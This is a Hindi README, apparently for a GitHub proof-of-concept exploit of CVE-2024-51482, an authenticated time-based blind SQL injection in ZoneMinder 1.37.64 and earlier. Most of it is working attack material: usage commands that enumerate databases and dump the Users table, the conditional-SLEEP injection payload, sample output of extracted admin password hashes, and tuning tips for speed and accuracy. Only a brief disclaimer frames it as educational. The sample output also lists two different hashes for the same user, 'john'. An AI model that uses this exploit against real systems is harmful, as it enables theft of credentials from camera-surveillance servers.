
ZoneMinder CVE-2024-51482 (v1.37.* <= 1.37.64) के लिए प्रमाणीकृत समय-आधारित ब्लाइंड SQL इंजेक्शन PoC
प्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन एक्सप्लॉइट ZoneMinder v1.37. <= 1.37.64* के लिए
यह CVE-2024-51482 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है, जो ZoneMinder के ईवेंट प्रबंधन कार्यक्षमता में एक समय-आधारित ब्लाइंड SQL इंजेक्शन भेद्यता है। एक्सप्लॉइट को प्रमाणीकरण की आवश्यकता होती है और डेटाबेस से डेटा निकालने के लिए सशर्त SLEEP क्वेरी का उपयोग करता है।
pip install requests
python3 poc.py -t example.local -u admin -p password
python3 poc.py -t example.local --cookie 'ZMSESSID_value'
python3 poc.py -t example.local -u admin -p password -v
python3 poc.py -t example.local -u admin -p password --dbs
python3 poc.py -t example.local -u admin -p password -D zm --tables
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump
आवश्यक:
-t, --target TARGET लक्ष्य URL (IP, होस्टनाम, या पूर्ण URL)
प्रमाणीकरण:
-u, --username USERNAME प्रमाणीकरण के लिए उपयोगकर्ता नाम
-p, --password PASSWORD प्रमाणीकरण के लिए पासवर्ड
--cookie COOKIE सेशन कुकी (ZMSESSID)
गणना:
--dbs डेटाबेस की गणना करें
-D, --database DATABASE उपयोग करने के लिए डेटाबेस
--tables टेबल की गणना करें
-T, --table TABLE उपयोग करने के लिए टेबल
--columns कॉलम की गणना करें
--dump टेबल डेटा डंप करें
प्रदर्शन:
--delay DELAY सेकंड में समय विलंब (डिफ़ॉल्ट: 3, सुरक्षित)
--threads THREADS थ्रेड्स की संख्या (डिफ़ॉल्ट: 5, सुरक्षित)
-v, --verbose निष्कर्षण प्रगति दिखाएं
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
[*] Target: http://example.local
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!
[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: admin
[+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extracted: john
[+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.
====================================================================================
| Username | Password |
====================================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================
[+] 2 entries dumped
एक्सप्लॉइट सशर्त SLEEP का उपयोग करता है:
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
यदि आपको गलत कैरेक्टर मिलते हैं (जैसे, $ के बजाय 8):
# विलंब बढ़ाएं और थ्रेड कम करें
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3
यदि निष्कर्षण बहुत धीमा है:
# विलंब कम करें और थ्रेड बढ़ाएं (सटीकता कम हो सकती है)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10
यदि डिफ़ॉल्ट zm.Users मौजूद नहीं है:
# पहले डेटाबेस की गणना करें
python3 poc.py -t example.local -u admin -p password --dbs
# फिर टेबल की गणना करें
python3 poc.py -t example.local -u admin -p password -D database_name --tables
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
यह परियोजना केवल शैक्षिक उद्देश्यों के लिए प्रदान की गई है। जिम्मेदारी और नैतिक रूप से उपयोग करें।
⭐ यदि आपको यह उपयोगी लगे, तो कृपया रिपॉजिटरी को स्टार करें!